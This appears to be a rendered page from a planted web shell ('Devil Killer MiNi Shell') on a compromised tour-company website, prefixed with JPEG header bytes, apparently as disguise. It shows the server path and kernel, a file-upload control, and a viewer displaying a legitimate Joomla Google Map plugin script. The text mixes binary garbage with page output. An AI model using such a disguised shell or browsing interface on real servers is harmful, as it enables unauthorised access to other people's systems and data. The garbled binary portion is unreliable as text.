JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/sb_web/b2920/simplekeralatours.com/08joshy/plugins/system/jagooglemap/assets/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/sb_web/b2920/simplekeralatours.com/08joshy/plugins/system/jagooglemap/assets/script_j4.js

/**
 * ------------------------------------------------------------------------
 * JA System Google Map plugin for Joomla 2.5 & J3x
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2018 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * ------------------------------------------------------------------------
 */

/**
 * USER GOOGLE MAP API VERSION 3
 * https://developers.google.com/maps/documentation/javascript/reference
*/

JAWidgetMap = function (container, defaults) {
	this.initialize = function (container, defaults) {
		this.idPrefix = 'ja-widget-map';
		this.container = container;
		this.containerSV = container + '-streeview';
		this.containerR = container + '-route';
		this.containerR_height = 200;
		this.options = defaults;
		
		//
		this.context_menu = null;
		this.toolbar_control_style = null;
		this.maptype_control_style = null;
		this.GScaleControl = null;
		this.GOverviewMapControl = null;
		this.GScaleControl = null;
		this.layer = null;
		//
		
		this.createElement();
	};
	
	this.createElement = function(){
		var mapOptions = {};
		mapOptions.mapTypeId = this.getMapType(this.options.maptype);
		if(this.options.size) { 
			mapOptions.size = this.options.size; 
		}
		//tollbar
		if (this.options.toolbar_control_display == 1) {
			
			var controlPos = this.getPosition(this.options.toolbar_control_position);
			var toolbar_control_style;
			switch (this.options.toolbar_control_style) {
				case 'small':
					toolbar_control_style = google.maps.ZoomControlStyle.SMALL;
					break;
				case 'large':
					toolbar_control_style = google.maps.ZoomControlStyle.LARGE;
					break;
				default:
					toolbar_control_style = google.maps.ZoomControlStyle.DEFAULT;
					break;
			}
			this.toolbar_control_style = toolbar_control_style;
			
			mapOptions.zoomControl = true;
			mapOptions.zoomControlOptions = {
				style: toolbar_control_style,
				position: controlPos
			}
		} else {
			mapOptions.zoomControl = false;
			this.toolbar_control_style = null;
		}
		
		//maptype control
		if (this.options.maptype_control_display == 1) {
			var maptypeControlPos = this.getPosition(this.options.maptype_control_position);
			var maptype_control_style;
			switch (this.options.maptype_control_style) {
			case 'hierarchical':
				maptype_control_style = google.maps.MapTypeControlStyle.HORIZONTAL_BAR;
				break;
			case 'drop_down':
				maptype_control_style = google.maps.MapTypeControlStyle.DROPDOWN_MENU;
				break;
			default:
				maptype_control_style = google.maps.MapTypeControlStyle.DEFAULT;
				break;
			}
			this.maptype_control_style = maptype_control_style;
			
			mapOptions.mapTypeControl = true;
			mapOptions.mapTypeControlOptions = {
				style: maptype_control_style,
				position: maptypeControlPos
			}
		} else {
			mapOptions.mapTypeControl = false;
			this.maptype_control_style = null;
		}
		
		//scalse
		if (this.options.display_scale == 1) {
			mapOptions.scaleControl = true;
			mapOptions.scaleControlOptions = {
				position: google.maps.ControlPosition.BOTTOM_LEFT
			}
		} else {
			mapOptions.scaleControl = false;
			this.GScaleControl = null;
		}
		//overview
		if (this.options.display_overview == 1) {
			mapOptions.overviewMapControl = true;
			mapOptions.overviewMapControlOptions = {
				opened: true
			}
		} else {
			this.GOverviewMapControl = null;
		}
		if (this.options.scrollwheel == 'false') {
			mapOptions.scrollwheel = false;
		}
        //Map styles
        if(this.options.map_styles){
            var mapstyles = this.options.map_styles;
            if(this.options.map_styles.length >0){
                mapstyles = eval("(function(){return " + mapstyles + ";})()");
                mapOptions.styles = mapstyles;
            }
        }

		this.objMap = new google.maps.Map($('#'+this.container).get(0), mapOptions);


		//layers
		
		// Add ContextMenuControl
		if (this.options.context_menu == 1) {
			//this.context_menu = new ContextMenuControl();
			//this.objMap.addControl(this.context_menu);
		} else {
			this.context_menu = null;
		}
		
		//geo location
		this.geocoder = new google.maps.Geocoder();
		
		//direction
		this.objDirections = null;
		this.directionDisplay = null;
		if ($('#'+this.containerR).length) {
			this.objDirectionsPanel = $('#'+this.containerR).get(0);
			this.objDirections = new google.maps.DirectionsService();
			this.directionDisplay = new google.maps.DirectionsRenderer();
			this.directionDisplay.setMap(this.objMap);
			this.directionDisplay.setPanel(this.objDirectionsPanel);
		}
		
	};
	
	this.resetMap = function() {
		
	};
	
	this.setMap = function(aOptions) {
		this.resetMap();
		
		this.options = aOptions;
		this.createElement();
	};
	
	this.setCenter = function (source) {
		if(source.objMap) {
			this.objMap.setCenter(source.objMap.getCenter());
			this.objMap.setZoom(source.objMap.getZoom());
		}
	};

	this.displayMap = function () {
		var locations = null;
		if(typeof(this.options.locations) != 'undefined'
			&& this.options.locations != '{}'
		) {
			if (typeof this.options.locations == 'string')
				locations = JSON.parse(this.options.locations);
			else
				locations = (this.options.locations);
		}

		if(!locations) {
			//backward compatible with old versions
			locations = {
				"location" : {
					"0" : "New York"
				},
				"latitude" : {
					"0" : ""
				},
				"longitude" : {
					"0" : ""
				},
				"info" : {
					"0" : ""
				}
			};
			if(typeof (this.options.to_location) != 'undefined')
				locations.location["0"] = this.options.to_location;
			if(typeof (this.options.target_lat) != 'undefined')
				locations.latitude["0"] = this.options.target_lat;
			if(typeof (this.options.target_lon) != 'undefined')
				locations.longitude["0"] = this.options.target_lon;
			if(typeof (this.options.to_location_info) != 'undefined')
				locations.info["0"] = this.options.to_location_info;
			if(typeof (this.options.from_location) != 'undefined') {
				if(this.options.from_location != '') {
					locations.location["1"] = this.options.from_location;
					locations.latitude["1"] = '';
					locations.longitude["1"] = '';
					locations.info["1"] = '';
				}
			}
		}

		if(!locations) {
			alert('Please select a Location!');
			return false;
		}

		var bounds = new google.maps.LatLngBounds();
		var mapmarker = new Array();
		for(var i in locations.location) {
			var location = locations.location[i],
				latitude = parseFloat(locations.latitude[i]),
				longitude = parseFloat(locations.longitude[i]),
				info = locations.info[i],
                icon = null;
            if(typeof locations.icon != 'undefined') {
                icon = locations.icon[i];
            }

			if(this.isLatLon(latitude) && this.isLatLon(longitude)){
				if (this.options.center == 'all')
					bounds.extend(new google.maps.LatLng(latitude, longitude));
				mapmarker.push(this.showLocation2(latitude, longitude, info, icon));
			}else{
				this.showLocation(location, info);
			}
		}

		if(this.isLatLon(latitude) && this.isLatLon(longitude))
			if (this.options.center == 'last')
				this.objMap.setCenter(new google.maps.LatLng(latitude, longitude));

		if(this.isLatLon(parseFloat(locations.latitude[0])) && this.isLatLon(parseFloat(locations.longitude[0])))
			if (this.options.center == 'first')
				this.objMap.setCenter(new google.maps.LatLng(parseFloat(locations.latitude[0]), parseFloat(locations.longitude[0])));

		if (this.options.center == 'all' && parseInt(i) != 0)
			this.objMap.fitBounds(bounds);

		if (this.options.clustering) {
			var markerCluster = new MarkerClusterer(this.objMap, mapmarker,
    	        {imagePath: 'https://developers.google.com/maps/documentation/javascript/examples/markerclusterer/m'});
    	}

		// in case if center is lat lng value.
    	if (this.options.center && this.options.center != '')
    	{
    		$latlng = this.options.center.split(',');
    		if ($latlng.length == 2)
	    		this.objMap.setCenter(new google.maps.LatLng(parseFloat($latlng[0]), parseFloat($latlng[1])));
    	}
		if(typeof(this.options.mode) != 'undefined' && this.options.mode == 'direction') {
			this.showDirections(locations);
		}
		
	};

	this.showLocation = function (address, info) {
		this.hideRoute();
		// hide route
		var lvZoom = this.options.zoom;
		var objMap = this.objMap;
		
		if (this.geocoder) {
			this.geocoder.geocode( { 'address': address}, function (results, status) {
				if (status != google.maps.GeocoderStatus.OK) {
					alert(address + " not found");
				} else {
					objMap.setCenter(results[0].geometry.location);
					objMap.setZoom(lvZoom);
					var marker = new google.maps.Marker({
						position: results[0].geometry.location,
						map: objMap,
						draggable: false
					});
					if(info != '') {
						 var infowindow = new google.maps.InfoWindow({
							content: info
						});
						google.maps.event.addListener(marker, 'click', function() {
						  infowindow.open(objMap,marker);
						});
					}
				}
			});
		}
	};

	this.showLocation2 = function (lat, lon, info, icon) {
		this.hideRoute();
		
		var lvZoom = this.options.zoom;
		var objMap = this.objMap;
		
		var point = new google.maps.LatLng(lat, lon);
		objMap.setCenter(point);
		objMap.setZoom(lvZoom);
		var marker = new google.maps.Marker({
						position: point,
						map: objMap,
						draggable: false,
						icon: icon
					});
		if(info != '') {
			var infowindow = new google.maps.InfoWindow({
				content: info
			});
			google.maps.event.addListener(marker, 'click', function() {
			  infowindow.open(objMap,marker);
			});
		}
		return marker;
	};

	this.showDirections = function (locations) {
		var from = '', to = '', waypts = [];

		for(var i in locations.location) {
			var location = locations.location[i],
				latitude = parseFloat(locations.latitude[i]),
				longitude = parseFloat(locations.longitude[i]),
				info = locations.info[i];

			if(this.isLatLon(latitude) && this.isLatLon(longitude)){
				var point = new google.maps.LatLng(latitude, longitude);
			}else{
				var point = location;
			}
			if(i == "0") {
				from = point;
			}
			to = point;

			waypts.push({location: point, stopover:true});
		}


		var directionDisplay = this.directionDisplay;
		var objMap = this.objMap;
		var request = {
			origin: from,
			destination: to,
			waypoints: waypts,
			optimizeWaypoints: true,
			travelMode: google.maps.DirectionsTravelMode.DRIVING
		};
		this.objDirections.route(request, function(response, status) {
			if (status == google.maps.DirectionsStatus.OK) {
			    setZoom = true;
                directionDisplay.setOptions({preserveViewport: true}); 
				directionDisplay.setDirections(response);
				directionDisplay.setMap(objMap)
			}
		});
	};
	
	this.isLatLon = function(number) {
		return (number == 0.00 || String(number) == "NaN") ? false : true;
	};

	this.showRoute = function (height) {
		if($('#'+this.containerR)) {
			$('#'+this.containerR).css('height', height);
		}
	};
	this.hideRoute = function () {
		if($('#'+this.containerR)) {
			$('#'+this.containerR).css('height', 0);
		}
	},

	this.handleNoFlash = function (errorCode) {
		if (errorCode == FLASH_UNAVAILABLE) {
			alert("Error: Flash doesn't appear to be supported by your browser");
			return;
		}
	};
	
	this.getMapType = function(type) {
		switch(type) {
			case 'satellite': maptype = google.maps.MapTypeId.SATELLITE; break;
			case 'hybrid': maptype = google.maps.MapTypeId.HYBRID; break;
			case 'physical': maptype = google.maps.MapTypeId.TERRAIN; break;
			default: maptype = google.maps.MapTypeId.ROADMAP; break;
		}
		return maptype;
	};
	
	this.getPosition = function(pos) {
		/**
		+----------------+
		+ TL    TC    TR +
		+ LT          RT +
		+                +
		+ LC          RC +
		+                +
		+ LB          RB +
		+ BL    BC    BR +
		+----------------+ 
		*/
		switch(pos) {
			case 'TL': position = google.maps.ControlPosition.TOP_LEFT; break;
			case 'TC': position = google.maps.ControlPosition.TOP_CENTER; break;
			case 'TR': position = google.maps.ControlPosition.TOP_RIGHT; break;
			
			case 'LT': position = google.maps.ControlPosition.LEFT_TOP; break;
			case 'RT': position = google.maps.ControlPosition.RIGHT_TOP; break;
			
			case 'LC': position = google.maps.ControlPosition.LEFT_CENTER; break;
			case 'RC': position = google.maps.ControlPosition.RIGHT_CENTER; break;
			
			case 'LB': position = google.maps.ControlPosition.LEFT_BOTTOM; break;
			case 'RB': position = google.maps.ControlPosition.RIGHT_BOTTOM; break;
			
			case 'BL': position = google.maps.ControlPosition.BOTTOM_LEFT; break;
			case 'BC': position = google.maps.ControlPosition.BOTTOM_CENTER; break;
			case 'BR': position = google.maps.ControlPosition.BOTTOM_RIGHT; break;
			
			default: position = google.maps.ControlPosition.TOP_RIGHT; break;
		}
		return position;
	};
	this.initialize(container, defaults);
};

Creat By MiNi SheLL
Email: devilkiller@gmail.com